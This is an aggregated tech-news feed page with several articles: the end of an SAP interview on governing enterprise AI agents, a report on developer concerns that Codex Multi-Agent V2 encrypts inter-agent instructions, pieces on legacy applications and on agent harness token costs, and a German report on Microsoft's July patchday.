<p class="wp-block-paragraph">In addition, companies should have a complete overview of all AI use cases. A robust business case should be in place for each use case. We often see two extremes: Either the executive board is under pressure to implement AI as quickly as possible and allocates a lump-sum budget for this purpose. Or management initially takes a wait-and-see approach. This leads to independent pilot projects springing up throughout the company, with individual departments procuring their own tools and entering into their own contracts.</p>



<p class="wp-block-paragraph">At SAP, we therefore follow a clearly structured selection process. Each idea first undergoes an assessment of its expected business value. We then examine technical feasibility, data availability, and ethical and governance aspects. From management’s perspective, it is crucial to maintain transparency regarding all ongoing AI projects at all times and to consistently prioritize them based on their business value.</p>



<h2 class="wp-block-heading">Agents, too, need a ‘hire-to-retire’ lifecycle</h2>



<p class="wp-block-paragraph"><em>Even with the introduction of dozens or even hundreds of AI agents, governance becomes increasingly complex. What capabilities do enterprise platforms need to manage AI agents securely and in a controlled manner at scale?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> We make a conscious effort not to anthropomorphize AI too much. Nevertheless, the analogy is helpful: Agents require a complete hire-to-retire lifecycle. This begins with the detection and registration of an agent. It is then integrated into the enterprise environment, granted the necessary permissions, and given access to the data sources it needs to perform its tasks.</p>



<p class="wp-block-paragraph">Observability is just as important. Companies must be able to track what an agent is actually doing in the system at all times. In addition, they should track key performance indicators: Is the agent achieving the desired results? How efficiently is it working? How many tokens does it consume? How many processing steps does it require for a task?</p>



<p class="wp-block-paragraph">Ultimately, this involves several key components: a complete inventory of all agents, appropriate governance, risk, and compliance (GRC) mechanisms, transparency regarding agent behavior, and continuous monitoring. This is the only way to ensure that AI agents consistently operate within defined parameters and deliver the desired business value.</p>



<p class="wp-block-paragraph"><em>In your estimation, which business processes will companies actually delegate entirely to AI agents over the next two to three years?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> Currently, such agents work particularly well in clearly defined use cases. SAP will release more than 50 (currently 34) specialized AI agents.</p>



<p class="wp-block-paragraph">One example is periodic financial reporting. In this context, journal entries must be made based on numerous rules stored in documents, emails, or previous transactions. The agent analyzes these various sources of information, derives a recommendation from them, and suggests the appropriate journal entry to the user.</p>



<p class="wp-block-paragraph">Based on what we’ve heard from customer projects, employees at medium-sized companies currently spend about twelve hours per month on these tasks. With the help of an AI agent, this effort can be reduced to two to three hours.</p>



<p class="wp-block-paragraph">Another area of application is production planning. If delivery dates change or new orders come in at short notice, the entire production plan must be adjusted. It is precisely these kinds of complex optimization tasks that are ideally suited for AI agents.</p>



<p class="wp-block-paragraph">In principle, there are virtually no limits to the narrowly defined business processes in which agents can be deployed. However, they will not operate completely autonomously at first.</p>



<h2 class="wp-block-heading">Trust in AI begins with a stable foundation</h2>



<p class="wp-block-paragraph"><em>Many companies still struggle to trust AI agents. After all, large language models operate probabilistically and can produce false information. This is particularly problematic in financial processes. How do you build trust?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> Trust begins with a stable foundation. ERP systems remain the reliable system of record. They operate deterministically, contain the business logic, and hold the relevant company data. AI agents build upon this foundation. They do not replace it.</p>



<p class="wp-block-paragraph">Equally important is the human-in-the-loop principle. Employees must be able to understand what the agent is doing, verify its results, and intervene if necessary. That’s why employee training also plays a crucial role. They must understand how generative AI works and where its limitations lie.</p>



<p class="wp-block-paragraph">Of course, language models can hallucinate. At the same time, we must not forget that humans are not infallible either. The key lies in the collaboration between humans and AI. This allows us to improve both the efficiency and the quality of many business processes.</p>



<p class="wp-block-paragraph">Another important component is transparency. Our global AI ethics policy, for example, stipulates that users must always be able to recognize when AI is involved. In Joule, it’s possible to trace which data sources the agent used and which steps it went through in reaching its decision. This traceability is an essential prerequisite for trust.</p>



<p class="wp-block-paragraph"><em>What distinguishes an SAP agent from a general AI agent that merely accesses an ERP system?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> The key difference is that Joule and the SAP agents are directly embedded in the ERP system. There, for example, we’ve built a knowledge graph that describes the semantic relationships between all tables, business objects, and data fields.</p>



<p class="wp-block-paragraph">To put this into perspective: The SAP S/4HANA Knowledge Graph is based on approximately 452,000 ABAP tables, 7.3 million data fields, and thousands of analytical views. The semantic relationships between these artifacts are modeled in the Knowledge Graph and made available for AI applications.</p>



<p class="wp-block-paragraph">For example, if a user wants to view all open purchase orders, the agent does not first have to laboriously search for the relevant information. It immediately knows which tables and objects are relevant and also understands the relationships between a purchase order, a purchase requisition, the responsible approvers, and other business objects. As a result, the agent not only works much more precisely but also requires significantly fewer tokens because it can greatly narrow down the search space.</p>



<p class="wp-block-paragraph">If, instead, one attempts to simply overlay AI onto an existing system or extract data from a relational ERP system, many of these relationships are lost. In a sense, this destroys the semantic context that is crucial for precise answers.</p>



<p class="wp-block-paragraph">That is why we view the ERP system as an enormous strategic advantage. It has been the system of record for decades and contains roughly 50 years of codified business and process knowledge. This knowledge forms the foundation for what we call the <a href="https://www.cio.com/article/4170465/saps-biggest-ai-bet-yet-agents-that-execute-not-just-assist.html">autonomous enterprise</a>. The agents build upon this knowledge and continue to develop it.</p>



<p class="wp-block-paragraph">In the future, SAP agents will also communicate bidirectionally with agents from other providers via standards such as Agent-to-Agent (A2A).</p>



<p class="wp-block-paragraph"><em>According to your study, AI currently creates the greatest added value in decision-making, customer interaction, and gaining new insights, rather than in traditional productivity gains. Will this change the way companies justify AI investments in the future?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> In our study, productivity was simply rated slightly lower than, for example, gaining new insights. In the long term, however, productivity remains the ultimate goal. Europe, in particular, has been suffering from comparatively weak productivity growth for years.</p>



<p class="wp-block-paragraph">At SAP, we therefore first evaluate every new AI feature based on its specific business value. For all agents and AI features that we include in our AI Feature Catalog, we first conduct a value analysis. We ask: What benefit does the feature offer the user? Does it contribute to higher revenue? Does it increase productivity? Only then is it developed further.</p>



<p class="wp-block-paragraph">At the moment, the greatest added value often still lies in consolidating information from structured and unstructured data sources and making it accessible via natural language. The next step, however, is to translate these insights directly into more efficient business processes. That is precisely where the greatest productivity gains will be realized in the future.</p>



<blockquote class="wp-block-quote is-style-plain is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><em>If you could give CIOs just one or two pieces of advice for the transition from generative AI to AI agents, what would they be?</em></p>
</blockquote>



<p class="wp-block-paragraph"><strong>Kask:</strong> In my view, the biggest mistake would be to try to transform the entire company all at once or to attempt to perfectly prepare all the data right from the start.</p>



<p class="wp-block-paragraph">Instead, you should consider what kind of agent can create significant added value, and then implement it. Of course, this agent needs access to consistent and context-rich enterprise data. That’s exactly what we’re working on at SAP with technologies like the knowledge graph, which maps the semantic relationships within enterprise data.</p>



<p class="wp-block-paragraph">In addition, with data products and the SAP Business Data Cloud, we provide tools that make data from various sources usable for AI agents. Thanks to zero-copy and data fabric approaches, information from legacy systems, Snowflake, or ERP systems can be consolidated without first having to extensively replicate the data. For a procurement agent, this makes it possible to provide exactly the relevant data for the specific use case.</p>



<p class="wp-block-paragraph">The key point is this: Companies do not have to wait until they have fully migrated to the cloud or consolidated their entire data landscape. With the technologies available today, data can already be made usable for specific AI agents, managed in a controlled manner, and used to quickly generate initial business value. On the other hand, those who wait for the perfect starting point run the risk of falling behind.</p>



<p class="wp-block-paragraph"><em>This article is adapted from one first published by Computerwoche.</em></p>



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<title><![CDATA[Codex Multi-Agent V2 update raises developer concerns over agent transparency]]></title>
<description><![CDATA[OpenAI’s recent update to its Codex CLI has introduced a new protocol that appears to shift more orchestration decisions from user-defined configuration to the runtime, prompting developers to request greater visibility into the instructions exchanged between AI agents.



In a detailed GitHub me...]]></description>
<link>https://tsecurity.de/de/3671150/ai-nachrichten/codex-multi-agent-v2-update-raises-developer-concerns-over-agent-transparency/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671150/ai-nachrichten/codex-multi-agent-v2-update-raises-developer-concerns-over-agent-transparency/</guid>
<pubDate>Wed, 15 Jul 2026 17:19:18 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">OpenAI’s recent update to its Codex CLI has introduced a new protocol that appears to shift more orchestration decisions from user-defined configuration to the runtime, prompting developers to request greater visibility into the instructions exchanged between AI agents.</p>



<p class="wp-block-paragraph">In a detailed GitHub <a href="https://github.com/openai/codex/pull/26210" target="_blank" rel="noreferrer noopener">merged request</a>, users stated that the Multi-Agent V2 protocol-infused architecture of the CLI no longer exposes the instructions passed between parent and sub-agents, making it difficult to inspect how work is delegated across the system.</p>



<p class="wp-block-paragraph">“Multi-agent v2 currently routes agent instructions through normal tool arguments and inter-agent context. That means the parent model can emit plaintext task text, Codex can persist it in history/rollouts, and the recipient can receive it as ordinary assistant-message <a href="https://www.infoworld.com/article/2255837/what-is-json-a-better-format-for-data-exchange.html">JSON</a>,” the request read.</p>



<p class="wp-block-paragraph">“This changes the v2 path so agent instructions stay encrypted between model calls: Responses encrypts the message argument returned by the model, Codex forwards only that ciphertext, and Responses decrypts it internally for the recipient model,” it added.</p>



<p class="wp-block-paragraph">Other users, commenting on the thread, also said that the lack of visibility into agent instructions can be attributed to the recently introduced Multi-Agent V2 protocol, with one user stating that reverting to the previous version of the CLI restored visibility, but only as a temporary workaround.</p>



<p class="wp-block-paragraph">Separately, <a href="https://www.linkedin.com/in/ignatremizov/" target="_blank" rel="noreferrer noopener">Ignat Remizov</a>, CTO at payment service Zolvat, <a href="https://github.com/ignatremizov" target="_blank" rel="noreferrer noopener">filed</a> a GitHub <a href="https://github.com/openai/codex/issues/28058" target="_blank" rel="noreferrer noopener">feature request</a> to offer what can be described as a permanent fix after stating that OpenAI may have introduced the change in efforts to harden security.</p>



<p class="wp-block-paragraph">“A possible shape is to keep the encrypted message field for model delivery, but add a separate non-encrypted audit field for the readable task text. The audit field should be persisted in rollout/history/trace metadata so users and maintainers can inspect what was delegated without needing to decrypt model-delivery ciphertext,” Zolvat wrote.</p>



<h2 class="wp-block-heading">Enterprise governance concerns are likely to emerge</h2>



<p class="wp-block-paragraph">While an <a href="https://github.com/openai/codex/issues/26753#issuecomment-4637873271" target="_blank" rel="noreferrer noopener">OpenAI contributor said</a> the protocol remains under development and declined further changes to the request, analysts warned that the issue would create debugging, governance, and operational challenges for development teams and their enterprises if the issue persists or becomes a long-term characteristic of multi-agent systems.</p>



<p class="wp-block-paragraph">“Hidden agent instructions reduce observability in multi-agent systems. Developers can no longer see whether failures stemmed from incorrect task delegation, poor orchestration, or model reasoning, making debugging, prompt optimization, and root-cause analysis significantly harder. Agent instruction traces are becoming as essential as application logs in modern software,” said <a href="https://pareekh.com/about/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, principal analyst at Pareekh Consulting.</p>



<p class="wp-block-paragraph">For CIOs, Jain pointed out, opaque agent interactions create governance challenges.</p>



<p class="wp-block-paragraph">“Without visibility into how agents delegated and executed tasks, it becomes harder to audit decisions, investigate incidents, demonstrate compliance, and build trust in AI systems. Enterprises will increasingly expect secure but auditable agent communication rather than completely hidden orchestration,” Jain said.</p>



<p class="wp-block-paragraph">“Any big enterprise, especially in regulated industries such as banks and hospitals, needs to be able to prove what their AI systems did and why, especially if something goes wrong. If a sub-agent does something bad, like touching private data, the company needs to show here’s exactly what it was told to do. If that record doesn’t exist, it is a serious problem for trust and legal accountability, not just an annoyance,” Jain added.</p>



<p class="wp-block-paragraph">Further, the analyst pointed out that issues around the visibility of agent operations could even slow production deployments of mission-critical AI.</p>



<p class="wp-block-paragraph">“Enterprises, just like we are seeing with developers on GitHub, are likely to demand stronger observability, audit trails, and governance before trusting autonomous multi-agent systems. It is nearly as important as model performance,” Jain added.</p>



<p class="wp-block-paragraph">An email sent to OpenAI enquiring about planned changes to the protocol went unanswered.</p>
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<title><![CDATA[The trillion-dollar question: When should legacy applications make way for AI?]]></title>
<description><![CDATA[If you just read the headlines, it would seem as if AI is now writing all of the world’s code and powering every application businesses run on.



That’s far from true. Just 4 of 33 AI pilots reach production, according to IDC Research — leaving legacy applications still fueling the wheels of com...]]></description>
<link>https://tsecurity.de/de/3670220/it-nachrichten/the-trillion-dollar-question-when-should-legacy-applications-make-way-for-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670220/it-nachrichten/the-trillion-dollar-question-when-should-legacy-applications-make-way-for-ai/</guid>
<pubDate>Wed, 15 Jul 2026 12:03:08 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">If you just read the headlines, it would seem as if AI is now writing all of the world’s code and powering every application businesses run on.</p>



<p class="wp-block-paragraph">That’s far from true. Just 4 of 33 AI pilots reach production, according to<a href="https://investor.lenovo.com/en/global/Lenovo_CIO_Playbook_2025.pdf"> IDC Research </a>— leaving legacy applications still fueling the wheels of commerce. This “silent majority” represents trillions of dollars spent each year on building, maintaining, testing, validating and monitoring legacy applications.</p>



<p class="wp-block-paragraph">These applications won’t be replaced overnight. Companies and organizations depend on their predictability. The 60-plus-year-old COBOL programming language remains the backbone of banking software for good reason: it is extraordinarily efficient at processing massive transaction volumes with precision. Furthermore, do you want your bank revolutionizing how they manage your money? Probably not.</p>



<p class="wp-block-paragraph">So, while AI investment continues to build inside the software development lifecycle (SDLC), it isn’t instantly rendering older software obsolete. What it will do is steadily enable easier tweaking, updating and testing of legacy applications — and in some cases, full migrations to modern platforms. And really, this isn’t a new phenomenon. Businesses have always looked to wring more efficiency and profit from existing products through intelligent prioritization.</p>



<p class="wp-block-paragraph">The argument then is that CIOs and CTOs can take a proactive look at their legacy application portfolios to determine which ones, if any, should migrate sooner. Five considerations can help guide that decision.</p>



<h2 class="wp-block-heading">Before replacing legacy apps with AI, ask these 5 important questions</h2>



<h3 class="wp-block-heading">1. Does the legacy application still work?</h3>



<p class="wp-block-paragraph">Is its utility still there? Customers often appreciate the consistency of legacy applications. They’re reliable, predictable and well understood. Don’t fix what isn’t broken. Another way to think about this is the degree to which the <em>technical approach</em> of your legacy application is still viable. It’s pretty much a guarantee nowadays in software that an application built one way, with some set of technologies, would be built a totally different way just two to three years later. There is no avoiding that, but what you want to avoid is investing further into a technical approach powering a legacy application that has been completely replaced with new software or a technical approach, especially if it is 10x better across the vectors of software development (latency, cost, accuracy).</p>



<h3 class="wp-block-heading">2. Does it still make financial sense?</h3>



<p class="wp-block-paragraph">Running a system over a long period amortizes costs significantly. Even as growth rates slow or plateau, it can still be less expensive to let legacy applications run than to overhaul them. Another way to think about this is: how viable is my <em>customer base</em> in the near-term and the long-term? If you anticipate modest—or even flat—earnings growth for your product, then that’s an indicator that it’s possibly worth optimizing your development processes with AI. Where it’s probably not worth investing is when you have no confidence in your future earnings, whether that’s due to the customer base shrinking or commoditization or something else.</p>



<h3 class="wp-block-heading">3. Can you integrate AI into existing workflows?</h3>



<p class="wp-block-paragraph">A significant portion of upcoming software development lifecycle work will focus on refactoring applications to be more AI-native. Some legacy applications may be strong candidates for a full AI rebuild, while others are better positioned for an AI add-on. <a href="https://www.gartner.com/en/newsroom/press-releases/2026-04-07-gartner-says-artificial-intelligence-projects-in-infrastructure-and-operations-stall-ahead-of-meaningful-roi-returns">Gartner </a>research from 2025 found that only 28% of AI use cases in infrastructure and operations fully succeeded.</p>



<p class="wp-block-paragraph">Among those that did, success was attributed primarily to integrating AI into existing workflows and systems. “As AI becomes part of day‑to‑day operations, it boosts adoption and creates visible impact within the organization,” Gartner states.</p>



<p class="wp-block-paragraph">It’s important to keep in mind the distinction between using AI to optimize an existing process or workflow within your application, versus powering a workflow or feature with AI. The former approach is more palatable for legacy applications because it generally doesn’t change the cost profile of running that application. In the latter case, if you’re introducing an AI-powered module into the application, you’re generally going to incur inference costs at runtime, and they are an order of magnitude more expensive for today’s frontier models than base compute.</p>



<h3 class="wp-block-heading">4. Do you have documented processes for maintaining legacy applications?</h3>



<p class="wp-block-paragraph">If so, you’ll more quickly identify where AI can optimize. The more coherent, organized and detailed processes are, the faster AI can find its footing and drive tangible efficiency gains. If documentation is lacking, start there. Keep detailed instructions and workflows for how you do things. Consistency matters. Don’t do things by heart. Don’t approach tasks casually, and don’t do things differently each time. The more uniform your process, the more easily you can insert AI into discrete steps and achieve efficiencies without disrupting the broader software development lifecycle. The organization in the most precarious position is the one managing legacy applications with no documented process for doing so.</p>



<h3 class="wp-block-heading">5. Can you prioritize?</h3>



<p class="wp-block-paragraph">Making a change to a piece of legacy software might involve 20 or more steps. Only one or two of those steps may be clear candidates for AI-driven optimization. Identifying and prioritizing those opportunities will help you realize early wins and build the case for broader return on investment. Also, not all candidates for optimization make sense in light of broader financial and operational constraints. As always, prioritize ruthlessly in favor of ROI—bang for your buck. If your team has been struggling to operate a particular part of your system due to a lack of expertise or time, you might consider using AI to buttress the maintenance of that component. Having AI own that part of the workflow might unlock big time savings—or it might erode crucial domain knowledge that your team used to possess through repetition. There is no one-size-fits-all; think through the second-order effects.</p>



<h2 class="wp-block-heading">Adding AI in testing in the SDLC</h2>



<p class="wp-block-paragraph">Beyond coding and application development, AI is opening new possibilities in how we test software. As leaders examine processes and look for places to insert AI, testing is often a natural entry point. There has been substantial innovation here, including new autonomous AI-driven testing solutions, those that have been enhanced with AI, and hybrid approaches that blend both. Each organization will be at a different place in its AI journey. Testing solutions exist to meet everyone where they are. Also, the state of applications will help determine which approach fits best—and when it fits as you evolve applications.</p>



<p class="wp-block-paragraph">Of course, there is some substance to the AI hype around how much code AI will write and how many applications it is already creating faster than ever. But one school of thought is that AI’s biggest economic impact will be in the creation of massive new markets and industries rather than in the complete displacement of existing industries. Regardless of how far AI takes us through the universe, it’ll take some time and it’ll be bankrolled by the trillions of dollars of existing products and industries that we depend on every day.</p>



<p class="wp-block-paragraph">That’s all good news for legacy players, but no one can afford to stay still. AI capabilities are advancing rapidly. Make it a habit to revisit legacy applications and workflows regularly. The right moment to introduce AI will keep shifting, and staying ahead of it is a competitive advantage.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[The hidden AI cost driver: Harness design can make or break enterprise agent economics]]></title>
<description><![CDATA[A largely overlooked layer of the AI stack is emerging as a major driver of enterprise costs. New testing by AI consultancy Systima found that agent harnesses, the software that coordinates models, tools and workflows, can generate significant token overhead through their configuration alone, pot...]]></description>
<link>https://tsecurity.de/de/3669948/it-nachrichten/the-hidden-ai-cost-driver-harness-design-can-make-or-break-enterprise-agent-economics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669948/it-nachrichten/the-hidden-ai-cost-driver-harness-design-can-make-or-break-enterprise-agent-economics/</guid>
<pubDate>Wed, 15 Jul 2026 10:03:51 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">A largely overlooked layer of the AI stack is emerging as a major driver of enterprise costs. New testing by AI consultancy Systima found that agent harnesses, the software that coordinates models, tools and workflows, can generate significant token overhead through their configuration alone, potentially inflating the cost of AI deployments as organizations scale agents from experimental pilots to production environments.</p>



<p class="wp-block-paragraph">The firm, which ran a series of tests by juxtaposing two harnesses on the same tasks, namely Anthropic’s Claude Code and open-source OpenCode using the same Claude Sonnet 4.5 model underneath, found both exhibiting sharply different token overhead because of the differences in their configuration.</p>



<p class="wp-block-paragraph">These differences included system prompts, tool definitions, agent coordination mechanisms and other orchestration components, resulting in markedly different baseline input token overhead before users even entered a prompt, the consultancy firm wrote in a <a href="https://systima.ai/blog/claude-code-vs-opencode-token-overhead" target="_blank" rel="noreferrer noopener">blog post</a>.</p>



<p class="wp-block-paragraph">Separately, the firm also found that other configuration choices while setting up the harnesses such as repository instruction files, <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html" target="_blank">Model Context Protocol</a> (MCP) servers, prompt framework templates and subagents can each add substantial token overhead.</p>



<p class="wp-block-paragraph">The consultancy’s conclusions are also supported by emerging academic research examining how orchestration of the harnesses themselves, rather than optimizing models or changing them, can help enterprises reshape the economics around AI agents.</p>



<p class="wp-block-paragraph">In a <a href="https://arxiv.org/pdf/2607.06906" target="_blank" rel="noreferrer noopener">paper</a>, titled The Harness Effect: How Orchestration Design Sets the Token Economics of Enterprise Agentic AI, researchers showed that changing the harness while keeping models and tasks the same can reduce token consumption by 38%, cost per task by 41%, and execution time by 44% while maintaining comparable quality.</p>



<h2 class="wp-block-heading">Why enterprises overlook harness costs</h2>



<p class="wp-block-paragraph">Analysts say that enterprises can gain greater control over AI agent operating costs by paying closer attention to how their harnesses are configured and orchestrated, instead of just relying on model pricing as a yardstick.</p>



<p class="wp-block-paragraph">“The evaluation shows that the model is only one part of agent economics. The harness, tool schemas, instructions, MCP connections, and subagents matter as well. Enterprises therefore need to measure the entire agent configuration, not assume model pricing tells them what an agent will cost,” said <a href="https://www.linkedin.com/in/slwalter" target="_blank" rel="noreferrer noopener">Stephanie Walter</a>, practice lead of the AI stack at HyperFRAME Research.</p>



<p class="wp-block-paragraph">Currently, most enterprises pick agent tooling based on model quality, benchmarks, developer experience, and headline pricing per seat or per million tokens, with almost no one measuring what the harness sends per request, how stable the cache prefix is, or what subagent fan out costs at scale, echoed <a href="https://www.linkedin.com/in/advaitpatel93/" target="_blank" rel="noreferrer noopener">Advait Patel</a>, site reliability engineer at Broadcom.</p>



<p class="wp-block-paragraph">“Ask the average CIO whether their coding agent rewrites its cache mid-session, and you will get a blank stare,” Patel added.</p>



<p class="wp-block-paragraph">However, Ashish Chaturvedi, executive research leader at HFS Research, pointed out that lack of visibility is less a failure of enterprise leaders than a consequence of how AI agent ecosystem components are sold, stacked, and managed presently.</p>



<p class="wp-block-paragraph">“Most organizations have no visibility, mainly due to the absence of any metric from the vendor’s end that lets CIOs measure the entire agent or at least the harness configuration. None of this shows up in the developer’s experience. The agent just works, and the tokens burn silently in the background,” Chaturvedi said.</p>



<p class="wp-block-paragraph">The problem is further compounded, according to Chaturvedi, due to the manner in which AI agent configuration is distributed across enterprise teams.</p>



<p class="wp-block-paragraph">“The harness is chosen by one team, the instruction file written by another, and the MCP servers attached by a third, so no single person sees the cumulative weight,” Chaturvedi noted.</p>



<p class="wp-block-paragraph">Even when, in some cases, enterprises do have visibility and ownership, Patel argued, the industry, in general, still lack the operational maturity and discipline to systematically optimize AI agent costs.</p>



<p class="wp-block-paragraph">“FinOps for agents is where cloud FinOps was in 2013. Nobody has hired the equivalent of a cost optimization team focused on prompt engineering, harness configuration, and cache stability,” Patel said.</p>



<p class="wp-block-paragraph">Separately, <a href="https://www.linkedin.com/in/abhisekhsatapathy/" target="_blank" rel="noreferrer noopener">Abhishek Satapathy</a>, principal analyst at Avasant, pointed out that the invisibility issue stems from how enterprises evaluate AI agents before deploying them into production: “Most proof-of-concepts involve a limited number of users, relatively short-lived sessions, and controlled agentic interactions, where the accuracy of model output is the primary evaluation criterion.”</p>



<p class="wp-block-paragraph">The analysts’ comments also echo the conclusions of another research <a href="https://arxiv.org/pdf/2601.14470" target="_blank" rel="noreferrer noopener">paper</a>,  in which researchers argued that token consumption in agentic software engineering systems remains poorly understood because existing metrics provide limited visibility into where tokens are spent across orchestration components.</p>



<h2 class="wp-block-heading">How CIOs can improve visibility into AI agent costs</h2>



<p class="wp-block-paragraph">Closing that visibility gap, though, according to Satapathy, is increasingly becoming a priority for enterprises, as AI agents move from pilots to production and operating costs become harder to predict.</p>



<p class="wp-block-paragraph">“Across our advisory engagements, we are seeing growing demand for AI observability frameworks that combine runtime tracing, workload-level cost attribution, and execution analytics. This enables organizations to establish engineering baselines, benchmark workload efficiency, forecast AI operating costs, and continuously optimize agent performance as deployments mature,” Satapathy said.</p>



<p class="wp-block-paragraph">However, until vendors provide more comprehensive visibility into harness-level token consumption, analysts said enterprises should begin treating harness configuration as an operational governance issue rather than merely a developer preference.</p>



<p class="wp-block-paragraph">“The single most valuable move is to get visibility into what the harness actually sends. Enterprises should treat configuration as a governed cost decision, deliberately match harnesses to workloads, and closely monitor cache behavior and subagent fan-out, since those were among the biggest cost multipliers identified in the evaluation,” Chaturvedi said.</p>



<p class="wp-block-paragraph">Walter echoed that recommendation, saying CIOs should require observability across the entire agent configuration: “Without that visibility, enterprises are effectively buying an agent platform without knowing how much of the bill comes from useful work versus orchestration overhead.”</p>
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<title><![CDATA[Microsofts Monster-Patchday sprengt alle Rekorde]]></title>
<description><![CDATA[Bei seinem Patchday am 14. Juli hat Microsoft Sicherheits-Updates gegen 570 neue Sicherheitslücken bereitgestellt. Rechnet man die Patches zusammen, die Microsoft seit Anfang des Monats bereitgestellt hat, werden es sogar mehr als 620. Dies als neuen Rekordwert zu bezeichnen, wäre eine maßlose Un...]]></description>
<link>https://tsecurity.de/de/3669891/it-nachrichten/microsofts-monster-patchday-sprengt-alle-rekorde/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3669891/it-nachrichten/microsofts-monster-patchday-sprengt-alle-rekorde/</guid>
<pubDate>Wed, 15 Jul 2026 09:31:52 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p>Bei seinem Patchday am 14. Juli hat Microsoft Sicherheits-Updates gegen 570 neue Sicherheitslücken bereitgestellt. Rechnet man die Patches zusammen, die Microsoft seit Anfang des Monats bereitgestellt hat, werden es sogar mehr als 620. Dies als neuen Rekordwert zu bezeichnen, wäre eine maßlose Untertreibung – der bisherige Rekord lag bei 206 im Juni 2026, ist also nur fünf Wochen alt. Die Gesamtzahl der bislang in diesem Jahr gestopften Lücken (1380) übertrifft damit bereits jetzt die des Rekordjahrs 2020 (1250).</p>



<p>Neben Windows und Office sind auch Exchange Server, Hyper-V, Visual Studio, Github Copilot und Microsofts Cloud-Dienste betroffen, ebenso Ages of Empire II und Minecraft Server – im Grunde das gesamte Microsoft-Portfolio. Zwei Lücken werden bereits für Angriffe ausgenutzt. Ganze 58 der 570 Schwachstellen stuft Microsoft als kritisch ein, die übrigen sind fast alle als hohes Risiko ausgewiesen.</p>



<p>Die Details zu den Schwachstellen bietet Microsoft zum Selbstsuchen im <a href="https://msrc.microsoft.com/update-guide/" target="_blank" rel="noreferrer noopener">Leitfaden für Sicherheitsupdates</a>. Deutlich übersichtlicher bereitet Dustin Childs im <a href="https://www.zerodayinitiative.com/blog/" target="_blank" rel="noreferrer noopener">Blog von Trend Micro ZDI</a> das Thema Update-Dienstag auf – stets auch mit Blick auf Admins, die Unternehmensnetzwerke betreuen.</p>



<div class="wp-block-group"><div class="wp-block-group__inner-container is-layout-constrained wp-block-group-is-layout-constrained">
<p><strong>Die wichtigsten Sicherheitslücken beim Patch Day im Juli:</strong></p>



<figure class="wp-block-table is-style-stripes"><table class="has-fixed-layout"><thead><tr><th>CVE</th><th>anfällige Software</th><th>Schwere­grad</th><th>Aus­wirkung</th><th>aus­genutzt</th><th>vorab bekannt</th><th>CVSS</th></tr></thead><tbody><tr><td>CVE-2026- 56155</td><td>Windows, Active Directory</td><td>hoch</td><td>EoP</td><td><mark class="has-inline-color has-vivid-red-color"><strong>ja</strong></mark></td><td>nein</td><td>7.8</td></tr><tr><td>CVE-2026-56164</td><td>SharePoint Server</td><td>mittel</td><td>EoP</td><td><strong><mark class="has-inline-color has-vivid-red-color">ja</mark></strong></td><td>nein</td><td>5.3</td></tr><tr><td>CVE-2026-57092</td><td>Windows, VMSwitch</td><td>kritisch</td><td>EoP</td><td>nein</td><td>nein</td><td>9.9</td></tr><tr><td>CVE-2026-50522</td><td>SharePoint</td><td>kritisch</td><td>RCE</td><td>nein</td><td>nein</td><td>9.8</td></tr><tr><td>CVE-2026-58644</td><td>SharePoint</td><td>kritisch</td><td>RCE</td><td>nein</td><td>nein</td><td>9.8</td></tr><tr><td>CVE-2026-56188</td><td>Windows Server, Netzwerk­treiber</td><td>kritisch</td><td>RCE</td><td>nein</td><td>nein</td><td>9.8</td></tr><tr><td>CVE-2026-50518</td><td>Windows, DHCP Server</td><td>kritisch</td><td>RCE</td><td>nein</td><td>nein</td><td>9.8</td></tr><tr><td>CVE-2026-56190</td><td>Windows, RDP</td><td>hoch</td><td>RCE</td><td>nein</td><td>nein</td><td>9.8</td></tr><tr><td>CVE-2026-55008</td><td>Exchange Server</td><td>kritisch</td><td>Spoofing / XSS</td><td>nein</td><td>nein</td><td>9.6</td></tr><tr><td>CVE-2026-50661</td><td>Windows, BitLocker</td><td>hoch</td><td>SFB</td><td>nein</td><td><strong><mark class="has-inline-color has-vivid-red-color">ja</mark></strong></td><td>6.1</td></tr></tbody></table><figcaption class="wp-element-caption"><em>RCE: Remote Code Execution<br>EoP: Elevation of Privilege, Rechteausweitung<br>SFB: Security Feature Bypass<br>XSS: Cross-Site Scripting</em></figcaption></figure>
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<h2 class="wp-block-heading toc">Edge-Updates stopfen über 400 Chromium-Lücken</h2>



<p>Das neueste Sicherheits-Update auf Edge 150.0.4078.65 ist vom 9. Juli und basiert auf Chromium 150.0.7871.115. Es behebt 27 Chromium-Schwachstellen, die bei der oben genannten Gesamtlückenanzahl ebenso wenig eingerechnet sind wie die <a href="https://www.pcwelt.de/article/3181425/update-auf-chrome-150-beseitigt-fast-400-lucken-im-browser.html" target="_blank" rel="noreferrer noopener">über 400 Chromium-Lücken</a> aus der ersten Juli-Woche – andernfalls lägen wir bei mehr als 1000. Und inzwischen steht bereits <a href="https://www.pcwelt.de/article/3191031/google-schliest-weitere-kritische-chrome-lucken.html" target="_blank" rel="noreferrer noopener">das nächste Chrome-/Chromium-Update</a> mit 15 behobenen Schwachstellen bereit.</p>



<h2 class="wp-block-heading toc">Schwachstellen in Windows</h2>



